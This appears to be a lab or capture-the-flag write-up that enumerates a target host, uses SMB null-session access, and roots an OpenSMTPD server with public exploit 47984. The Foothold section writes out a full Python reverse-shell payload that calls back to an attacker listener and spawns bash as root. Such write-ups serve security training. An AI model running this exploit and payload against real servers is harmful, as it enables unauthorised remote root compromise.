Enumeration

2021年7月28日 15:03

1: Use autorecon to enumerate its services, **22, 25, 53, 80, 445** are open
2: HTTP services looks like a **rabbit hole** because its index page is unavailable
3: SMB supports null session, log in:**smbclient \\\\192.168.185.71\\backups**
4: There is a backup of **passwd**, however it does not help currently
5: SMTP server is **OpenSMTPD**. Look up its exploit, this one catch my eyes (https://www.exploit-db.com/exploits/47984). Even though nmap says its version is **2.0**, however, it does not hurt to **have a try** and sometimes nmap gives **inaccurate** info

Foothold

2021年7月28日 15:05

1: Read its usage, set up a netcat listener, and execute: **python3 47984.py 192.168.185.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.185\",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'**
2: Get a root shell!

Privilege Escalation

2021年7月28日 15:05

1: It is already a root shell

Review

2021年7月28日 15:05

1: Target **SMTP** service
2: Even though **stated version** does not match an available public exploit, don't mind having a try
3: Construct a **python reverse shell payload**